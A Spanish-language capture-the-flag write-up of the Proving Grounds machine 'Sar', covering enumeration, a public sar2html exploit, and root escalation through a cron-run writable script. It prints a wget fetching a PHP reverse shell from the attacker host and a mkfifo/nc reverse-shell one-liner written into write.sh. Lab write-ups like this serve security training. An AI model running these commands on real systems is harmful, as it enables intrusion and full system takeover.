> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/sar.md).

# Sar

Write-up de la máquina Sar de Proving Grounds #writeup #walkthrough

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FNbFrwitlbBzq23QTWVBZ%2FSQL%20injection%20vulnerability%20in%20WHERE%20clause%20allowing%20retrieval%20of%20hidden%20data%20(8).png?alt=media&amp;token=4fd58580-91cd-4c60-9c4d-796ccab9eaa7" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios abiertos

Comenzamos enumerando los servicios abiertos de la máquina "Sar"

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.147.35
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FlLhwliUDTXigrzetzNNZ%2Fimage.png?alt=media&amp;token=ad75e8aa-6ba2-431f-9178-f78a4a4a53bf" alt=""><figcaption></figcaption></figure>

Dos puertos abiertos, 22 y 80. Continuamos con el escaneo profundo de estos servicios.&#x20;

```
nmap -p22,80 -Pn -n -sVC -vvv 192.168.147.35 
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FOFoGn2BZKUEWOvqAwslA%2Fimage.png?alt=media&amp;token=a713b4fd-0f3a-4ac5-9f62-cc90a091d98c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fzc5DKMMl2IbWbjk6jYt2%2Fimage.png?alt=media&amp;token=9804374b-f6b5-4d4c-973f-6dd734568519" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 7.6
* Puerto 80 -> HTTP -> Apache httpd 2.4.29

#### Enumeración Web

La máquina "Sar" está ejecutando un servidor Web en el puerto 80, vamos a enumerar su contenido.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FONmH4qvPKxxwhHoFR8y7%2Fimage.png?alt=media&amp;token=5a004100-b4c9-4bdd-ae94-9271a034ec74" alt=""><figcaption></figcaption></figure>

Página por defecto de un servidor que está ejecutando Apache. Vamos a enumerar directorios y archivos disponibles.

```
dirsearch -u "192.168.147.35" -i200,301 -t 30
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FlHr80zaRDu55582lvjU2%2Fimage.png?alt=media&amp;token=8d785915-a7de-4262-8ef7-620edfdc7e54" alt=""><figcaption></figcaption></figure>

Hay un archivo /robots.txt que puede ser interesante. Vamos a ver su contenido.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FMotjrylwgYzenZJ1jpQ6%2Fimage.png?alt=media&amp;token=c4669481-5638-4b28-8be9-35ab57c21c8b" alt=""><figcaption></figcaption></figure>

Parece un directorio. Vamos a enumerar su contenido.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FPsTKA3lFLU64jhMy1Ec7%2Fimage.png?alt=media&amp;token=3fe58dc7-ec13-488d-b16e-3f447751827a" alt=""><figcaption></figcaption></figure>

Podemos ver la versión "sar2html 3.2.1". Vamos a tratar de buscar algún exploit existente para esta versión.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FAk3uvgXaTpSzi27feqVd%2Fimage.png?alt=media&amp;token=eb568f3f-0f62-49f8-80bd-044363cfab4d" alt=""><figcaption></figcaption></figure>

### Explotación

Existen dos posibles exploits. Vamos a descargar el exploit 49344.py

```
searchsploit -m 49344.py
```

Una vez descargado, ejecutamos el exploit.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FyYkf3s13xadOyJmYZC3n%2Fimage.png?alt=media&amp;token=d0a597fd-a20c-4943-8e81-24b404ae528e" alt=""><figcaption></figcaption></figure>

Tenemos shell. Vamos a buscar la flag Local.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FC8kqBxczMVXsimGrMFIR%2Fimage.png?alt=media&amp;token=2315ecc2-42ce-4290-bcde-646f9cd83b7e" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

La shell obtenida no nos permite movimiento alguno. Vamos a cargar una reverse shell en la máquina víctima que nos permita acceso completo al sistema.&#x20;

```
En la máquina de ataque: python2 -m SimpleHTTPServer 80
En la máquina objetivo: wget http://192.168.49.147/php-reverse-shell.php
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgnhlRKb7XbXYFNb7kInV%2Fimage.png?alt=media&amp;token=4852ac89-9896-4c32-af53-9a0beefab5b4" alt=""><figcaption></figcaption></figure>

Ejecutamos un oyente nc en el puerto 1234 y abrimos la shell en el navegador Web.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FvnSgRqk0p37knBVHaMfR%2Fimage.png?alt=media&amp;token=c40af29f-2f98-426a-8ec1-8b7b6cec832b" alt=""><figcaption></figcaption></figure>

Realizamos el tratamiento de la tty.&#x20;

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fo8CFCiGpancYbAS8uNzG%2Fimage.png?alt=media&amp;token=5e221361-ed1f-4da6-be56-a948377d906b" alt=""><figcaption></figcaption></figure>

Enumeramos los archivos disponibles en el directorio /var/www/html

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Frc5THJmVq8PsGt8xekkN%2Fimage.png?alt=media&amp;token=5b708635-2510-40cb-96f4-14f17e9be5b0" alt=""><figcaption></figcaption></figure>

En este directorio hay disponible dos ejecutables bash que pueden ser interesantes, finally.sh y write.sh.&#x20;

Vamos a enumerar el contenido del archivo crontab

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FcO4fcMxax6Td3l9WPUkO%2Fimage.png?alt=media&amp;token=c3644026-bf8f-4c34-a5ac-d46048bffc59" alt=""><figcaption></figcaption></figure>

El archivo finally.sh que vimos en la enumeración del contenido del directorio, se ejecuta con privilegios elevados cada 5 minutos. Vamos a ver el contenido de los dos scripts que vimos anteriormente.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FWNTIicI23giWsq2j6t5b%2Fimage.png?alt=media&amp;token=d26360fc-a989-43de-b696-aae859b146b0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F9AmsPuntJGPEkJLzVwrC%2Fimage.png?alt=media&amp;token=0e11924f-49a6-4af4-8c2c-59f90567b78f" alt=""><figcaption></figcaption></figure>

Tenemos permisos para escribir en el ejecutable write.sh pero no en finally.sh. Vamos a modificar el archivo write.sh para crear una reverse shell que se ejecutará cada 5 minutos.&#x20;

```
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.147 1337 >/tmp/f" > write.sh
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FpqaNvavsEH6X2D5Je25b%2Fimage.png?alt=media&amp;token=7a211b71-9d51-461f-b6b6-bf0c5a95c703" alt=""><figcaption></figcaption></figure>

Esperamos 5 minutos y deberemos obtener conexión en la máquina objetivo con privilegios máximos.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FyLsDjnXmu50EdW2bohcX%2Fimage.png?alt=media&amp;token=84dc314e-fd79-4385-b5bb-dfc7fe7a3dde" alt=""><figcaption></figcaption></figure>

Solo quedará buscar la flag proof.txt para acabar la resolución de este CTF.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fqhf0lA9aeuLzHGbapsdT%2Fimage.png?alt=media&amp;token=a63436df-81b9-47d5-a9bd-4ee2b6a806b9" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?v=Wl-nXhJ5HiQ>" %}
